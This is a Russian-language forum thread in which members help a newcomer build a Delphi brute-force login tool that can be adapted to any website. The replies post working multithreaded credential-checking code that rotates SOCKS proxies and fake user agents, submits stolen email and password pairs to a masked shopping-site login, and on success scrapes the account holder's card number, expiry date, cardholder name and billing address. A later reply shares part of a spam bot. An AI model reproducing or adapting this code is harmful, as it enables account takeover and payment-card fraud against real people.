Добрый день форумчане. Сравнительно не давно начал осваивать Delphi. Работаю через Borland Delphi 7,в данный момент пытаюсь сделать шаблон для брута.(т.е чтобы в любой момент можно было адаптировать под любой сайт.) Есть одна просьба так сказать,если есть тут знающие,не могли бы подсказать код для работы через прокси? Т.е авторизация по списку проксей(делаю многопоток) т.е как HTTP,так и socks4/5. План действия кода: Соединение с прокси(брать из stringlist)->Вход на сайт->авторизация. Пока вроде всё,остальное думаю сам смогу сделать,просто ~2 месяцев делфи не открывал. Есть код,который в цикле перебирает для каждого логина(из файла) каждый пароль(из другого файла),как сделать,чтобы при нахождении валидного пароля,завершался цикл P,и к циклу L добавлялся +1 т.е L:=L+1; Но нельзя менять же значение цикла в самом цикле(сори за тавтологию). Код ниже: PHP: if Acc<Accounts.Count then CurAcc:=Acc else Work:=false; if Work then begin for l:=0 to (Accounts.Count-1) do begin for p:=0 to (Passwords.Count-1) do begin FAcc:=Accounts.Strings[l]; FPas:=Passwords.Strings[p]; data:=Tstringlist.create; site:=Tstringlist.create; data.Add('user='+FAcc); data.Add('pass='+FPas); data.Add('enter=Вход'); HTTP:=TidHTTP.Create(nil); HTTP.HandleRedirects:=false; try site.text:=HTTP.Post('http://тутсайт/login/', data); Rez:=0; if Pos('/profile/',site.text )<>0 then begin Rez:=1; end else Rez:=-1; except end; site.Free; HTTP.Free; data.Free; Synchronize(Sync); end; end; end; end; Скрин кода,для лучшего визуального оформления: http://s59.radikal.ru/i164/1112/32/9c585f4c1a65.png
Если нужно изменять значения переменной-счетчика, внутри тела цикла, то нужно использовать цилы while ... do или repeat....until...
не обязательно... примерно выглядит как-то так Code: procedure TMyTr.Execute; var outx,login,pass: string; s,ip,port:string; all:string; i,cw,acc,iacc,rand:integer; begin IdHTTP1:=TIdHTTP.Create(nil); IdSocksInfo1:=TIdSocksInfo.Create(nil); IdSSLIOHandlerSocketOpenSSL1:=TIdSSLIOHandlerSocketOpenSSL.Create(nil); idCookieManager1:=TidCookieManager.Create(nil); data := TStringList.Create; cw:=getnumberproxy; acc:=getaccounts; while acc<Form1.Memo2.Lines.Count do begin s:=Form1.Memo1.Lines[cw]; i := Pos(':',s); IP := Copy(s,1,i-1); PORT := Copy(s,i+1,Length(s)); //-------------------------- all:=Form1.Memo2.Lines[acc]; iacc := Pos(':',all); login := Copy(all,1,iacc-1); pass := Copy(all,iacc+1,Length(all)); IdHTTP1.ProxyParams.ProxyServer:=''; IdHTTP1.ProxyParams.ProxyPort:=0; IdHTTP1.ReadTimeout:=strtoint(Form1.Edit1.Text); IdHTTP1.ConnectTimeout:=strtoint(Form1.Edit1.Text); IdSocksInfo1.Version:=svSocks5; IdSocksInfo1.Host:=ip;//'99.248.65.112'; IdSocksInfo1.Port:=strtoint(port);//46867; IdSocksInfo1.Authentication:= saNoAuthentication; IdSSLIOHandlerSocketOpenSSL1.TransparentProxy:=IdSocksInfo1; IdHTTP1.IOHandler:=IdSSLIOHandlerSocketOpenSSL1; //login:=log;//'[email protected]'; //pass:=pas;//'password1'; //idhttp1 := tidhttp.create(nil); //SSLIOHandlerSocketOpenSSL1.SSLOptions.Method := TIdSSLVersion(sslvSSLv23); idhttp1.handleredirects := true; //idhttp1.IOHandler:= IdSSLIOHandlerSocketOpenSSL1; idhttp1.CookieManager:=idCookieManager1; rand:=Random(20); case i of 0: idhttp1.request.useragent := 'Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0'; 1: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 1.6; en-us; eeepc Build/Donut) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1'; 2: idhttp1.request.useragent := 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16'; 3: idhttp1.request.useragent := 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'; 4: idhttp1.request.useragent := 'Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929'; 5: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20100101 Firefox/4.0'; 6: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1'; 7: idhttp1.request.useragent := 'Mozilla/4.8 [en] (Windows NT 5.0; U)'; 8: idhttp1.request.useragent := 'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15'; 9: idhttp1.request.useragent := 'Mozilla/4.0 (PSP (PlayStation Portable); 2.00)'; 10: idhttp1.request.useragent := 'Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00'; 11: idhttp1.request.useragent := 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.7; U; ru) Presto/2.8.131 Version/11.10'; 12: idhttp1.request.useragent := 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10'; 13: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 2.2; ru-ru; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'; 14: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5 '; 15: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)'; 16: idhttp1.request.useragent := 'Opera/8.53 (Windows NT 5.0; U; en)'; 17: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)'; 18: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DT) '; 19: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) '; 20: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 '; else idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 '; end; //Form1.Memo3.Lines.Add('Login: '+log+' Password: '+pas+' Status: '+ 'valid'+#10#13); idhttp1.request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; idhttp1.Request.AcceptLanguage:='ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'; idhttp1.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7'; data.Add('destinationURL=/gp/aw'); data.Add('isHttp=1');//isHttp 1 data.Add('packedQuery=*entries*|0|*Version*|1');//packedQuery *entries*|0|*Version*|1 data.Add('email='+login);//email [email protected] data.Add('action=sign-in');//action sign-in data.Add('password='+pass);//password password1 data.Add('signIn=Sign In');//signIn Sign In idhttp1.Request.ContentLength:=length(data.Text); try try try idhttp1.Get('http://www.xxx.com/'); except on E:EIdHTTPProtocolException do if e.ErrorCode = 302 then begin idhttp1.Post('https://www.xxx.com/xxx.html', data); end; end; idhttp1.Post('https://www.xxx.com/xxx.html', data); except end; outx:=idhttp1.Get('https://www.xxx.com/xxx.html?ie=UTF8&ref_=ya_29&'); except Form1.Memo3.Lines.Add('Check your internet connection!'); end; // EnterCriticalSection(FLatch); //cs.Enter; if pos('Hello,',outx)<>0 then begin //Delete(outx,1,83000); Form1.Memo3.Lines.Add('Login: '+login+' Password: '+pass+' Status: '+ ' is valid'+#10#13); if(Form1.CheckBox1.State=cbChecked) then begin Form1.Memo3.Lines.Add('Type: '+Pars('1em; display: inline; font-weight: normal">',outx,'</h2></td>')+#10#13); Form1.Memo3.Lines.Add('Number: '+Pars('Number:</b></td><td>',outx,'</td></tr><tr valign')+#10#13); Form1.Memo3.Lines.Add('Exp. Date: '+Pars('Exp. Date:</b></td><td>',outx,'</td></tr><tr valign')+#10#13); Form1.Memo3.Lines.Add('Cardholder Name: '+Pars('Cardholder Name:</b></td><td>',outx,'</td></tr><tr>')+#10#13); Form1.Memo3.Lines.Add('Billing Address: '+Pars('displayAddressFullName">',outx,'</li>')+' , '+ Pars('displayAddressAddressLine1">',outx,'</li>')+' , '+ Pars('displayAddressCityStateOrRegionPostalCode">',outx,'</li>')+' , '+ Pars('displayAddressCountryName">',outx,'</li>')+' , '+ Pars('displayAddressPhoneNumber">',outx,'</li>')+#10#13); Form1.Memo3.Lines.Add('*************************************************'+#10#13); end; end else begin Form1.Memo3.Lines.Add('Login: '+login+' Password: '+pass+' Status: '+ ' is not valid'+#10#13); end; //LeaveCriticalSection(FLatch); //cs.Leave; data.Free; idCookieManager1.Free; acc:=getaccounts; checked:=checked+1; Form1.Edit4.Text:=inttostr(checked); cw:=getnumberproxy; end; idhttp1.Free; idCookieManager1.Free; IdSSLIOHandlerSocketOpenSSL1.Free; IdSocksInfo1.Free; data.Free; end; использовал gsvthread
Code: case i of 0: idhttp1.request.useragent := 'Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0'; 1: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 1.6; en-us; eeepc Build/Donut) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1'; 2: idhttp1.request.useragent := 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16'; 3: idhttp1.request.useragent := 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'; 4: idhttp1.request.useragent := 'Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929'; 5: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20100101 Firefox/4.0'; 6: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1'; 7: idhttp1.request.useragent := 'Mozilla/4.8 [en] (Windows NT 5.0; U)'; 8: idhttp1.request.useragent := 'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15'; 9: idhttp1.request.useragent := 'Mozilla/4.0 (PSP (PlayStation Portable); 2.00)'; 10: idhttp1.request.useragent := 'Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00'; 11: idhttp1.request.useragent := 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.7; U; ru) Presto/2.8.131 Version/11.10'; 12: idhttp1.request.useragent := 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10'; 13: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 2.2; ru-ru; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'; 14: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5 '; 15: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)'; 16: idhttp1.request.useragent := 'Opera/8.53 (Windows NT 5.0; U; en)'; 17: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)'; 18: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DT) '; 19: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) '; 20: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 '; else idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 '; end; Вот эта вот конструкция напрочь убила, дальше читать не стал. Просто приведите мне кусочек кода, в котором вы переменную-счетчик увеличиваете внутри цикла for..to.. чтобы не быть голословным вот конструкция: Code: const USERAGENTS : array[0..14] of string[130] = ('1', '2', '3', '4', '5', '6', .....'15'); а потом Code: Http.Request.UserAgent:=USERAGENTS[Random(Length(USERAGENTS))]; P.S. не вижу настроек таймаута для idHTTP, потоки будут виснуть. P.P.S. синхронизация при работе с визуальными компонентами тоже вещь хорошая, отсекает кучу проблем. Тем более если используется не класс TThread, а обертка над виндовыми потоками...
=) я знаю что я извращенец... пс. таймаут есть псс с gsvthread проще начинающему... пссс коду года 2-3=) вот так я начинал раньше=) ТС ты использовал в своем проекте этот видео урок, могу сказать, что это не самый лучший вариант...
сам пользуюсь GsvThread (с некоторыми доработками), в основном из-за того, что там есть менеджер, и его не нужно писать самому
не брут але похоже: http://pastebin.ubuntu.com/794388/ частина коду мого спамера (Execute не дописаний)... може архітектура комусь буде цікава... (з менеджером потоків) основна суть: 1) вхідні дані при створенні 2) поки чекаю завантаження даних з нету провіряю чи fTerminate менеджера не тру 3) вихідні дані через запис в логи (та не вдалу назву вибрав...) менеджера. (а сам лог (TList<T>) генерує подію) ну і звичайно 4) лічильник потоків...